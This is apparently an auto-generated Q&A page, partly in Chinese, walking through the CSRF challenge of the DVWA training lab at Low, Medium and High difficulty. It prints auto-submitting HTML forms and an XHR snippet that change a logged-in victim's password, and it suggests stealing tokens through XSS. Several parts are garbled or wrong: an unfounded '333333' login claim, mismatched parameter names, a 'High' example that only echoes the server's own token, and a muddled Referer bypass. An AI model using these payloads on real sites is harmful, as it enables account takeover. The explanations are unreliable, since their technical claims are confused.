dvwa靶场csrf high
时间: 2023-11-03 16:52:33 浏览: 199
dv靶场中的CSRF(Cross-Site Request Forgery高级关卡是一个测试网站漏洞的场景。在这个场景中,通过构造一个特定的请求,攻击者可以利用用户的登录状态伪造请求来执行未经授权的操作。根据引用和引用的描述,我们可以得出以下结论:
1. 在高级关卡中,输入密码为"123456"时无法登录,只有输入密码"333333"才能成功登录。这说明在该关卡中,存在一个CSRF漏洞,攻击者可以利用该漏洞来伪造请求。
2. 根据引用的描述,第三关的难度是High级别,主机地址是192.168.1.112。
综上所述,dvwa靶场的CSRF高级关卡是一个漏洞测试场景,攻击者可以通过伪造请求来执行未经授权的操作。在该关卡中,输入密码"333333"可以成功登录。这是一个高级别的难题,主机地址为192.168.1.112。
相关问题
dvwa靶场csrf
### DVWA CSRF Vulnerability Walkthrough and Explanation
#### Understanding CSRF in DVWA
Cross-Site Request Forgery (CSRF) is a type of attack that tricks the victim into submitting a malicious request. It forces an end user to execute unwanted actions on a web application in which they are authenticated[^1]. In DVWA, this vulnerability can be explored at different difficulty levels including Low, Medium, High, and Impossible.
For the **Low level**, no token or any form of validation exists. An attacker could craft a simple HTML page with hidden fields mimicking the target's POST data structure:
```html
<form action="http://192.168.112.188/dvwa/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="password_new" value="hacked"/>
<input type="hidden" name="password_confirm" value="hacked"/>
<input type="submit" value="Change Password"/>
</form>
<script>document.forms[0].submit();</script>
```
At the **Medium level**, although there might not be strict anti-CSRF tokens implemented, other defenses such as checking HTTP referer headers may apply. However, these checks often prove insufficient against sophisticated attacks because attackers can manipulate browser behavior through various means like embedding images pointing to internal URLs within external pages[^2].
In more advanced scenarios—like those found under 'High' settings—the presence of unique per-session tokens makes exploitation significantly harder but still possible via techniques involving session fixation or exploiting XSS flaws elsewhere on the site.
The ultimate goal when configuring security measures should always aim towards achieving what DVWA terms "Impossible". Here, comprehensive protections prevent successful forgery attempts by ensuring each legitimate operation includes unpredictable values tied directly back to individual sessions.
#### Demonstrating Exploitation Process
To demonstrate how one exploits CSRF vulnerabilities present in lower difficulties using DVWA:
- Create an HTML file named `change_password.html` containing crafted forms targeting password change functionality.
```html
<!-- Example for low-level CSRF -->
<!DOCTYPE html>
<html lang="en">
<head><title>Exploit Page</title></head>
<body onload='document.getElementById("csrf").submit()'>
<form id="csrf" action="http://target-ip-address/dvwa/vulnerabilities/csrf/" method="POST">
<input type="text" name="password_new" value="newpass"/>
<input type="text" name="password_confirm" value="newpass"/>
<input type="submit" name="Change" />
</form>
</body>
</html>
```
Upon loading this exploit page while logged into DVWA, it automatically submits the form changing your account’s credentials without explicit consent from you.
#### Mitigation Strategies Against CSRF Attacks
Implementing robust countermeasures involves several best practices:
- Utilizing synchronized cookie patterns where requests must include both cookies and matching parameters sent along with them.
- Generating cryptographically secure random numbers used once per transaction known as synchronizer tokens stored server-side during login then validated upon submission.
- Employing double submit cookies strategy wherein clients send two copies of their session identifier – one inside standard Cookie header another explicitly included among submitted variables.
--related questions--
1. What specific mechanisms does DVWA implement across its varying CSRF challenge complexities?
2. How do modern frameworks address potential CSRF threats beyond traditional methods discussed here?
3. Can machine learning algorithms enhance detection rates for novel types of cross-site scripting attacks related to CSRF?
4. Are there real-world examples demonstrating effective bypasses around contemporary anti-CSRF implementations?
dvwa靶场通关教程不同难度
### DVWA 靶场不同难度下 CSRF 攻击通关教程
#### 初级难度 (Low)
在初级难度设置中,CSRF漏洞非常容易被利用。当尝试更改密码时,在两个不同的浏览器窗口或标签页中操作可实现攻击[^3]。
- **具体步骤**
当首次提交表单时,即使输入的两个新密码字段不一致,服务器端也不会验证这两个值的一致性而返回错误提示。此时保存URL及其参数。
接着修改此链接中的`password_new`和`password_confimation`参数使二者相同再发起请求即可成功变更目标账户密码。
```html
<form action="http://192.168.10.143/DVWA/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="newpassword" value="your_password_here"/>
<input type="hidden" name="retype-newpassword" value="your_password_here"/>
</form>
```
#### 中级难度 (Medium)
中级模式引入了简单的Referer头校验机制来防止跨站伪造请求。为了绕过这种防护措施,需要构建一个恶意网页让受害者加载它,并通过JavaScript自动提交带有合法来源地址的HTTP POST请求给目标应用。
- **技术细节**
浏览器通常会在发送HTTP请求的时候附带当前页面所在的域名作为referer信息传递过去;因此只要能诱导用户点击含有精心构造脚本代码的超链接就能完成整个过程而不引起怀疑。
```javascript
// 嵌入到HTML文档内的JS片段用于触发自动化登录流程
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://example.com/change-password');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('username=admin&oldpw=pass&newpw=hacked');
```
#### 高级难度 (High)
高级版本增加了更多安全特性比如一次性令牌(one-time token),这使得每次有效表单都携带独一无二且难以预测的数据串以供服务端核对真伪。破解这类保护往往依赖于找到其他途径泄露这些敏感数据或者发现逻辑缺陷从而间接达到目的。
- **应对策略**
可以考虑利用XSS漏洞读取页面源码获取隐藏域里的token值,之后将其嵌入到自定义的攻击载荷里实施进一步行动。当然实际环境中应当遵循法律道德规范严禁非法入侵行为发生。
```php
<?php session_start(); ?>
<!-- HTML Form -->
<form id='changepwd' action='/vulnerable_page.php' method='post'>
<input type='text' name='csrf_token' value='<?php echo $_SESSION['token']; ?>'/>
...
</form>
<script>document.getElementById('changepwd').submit()</script>
```
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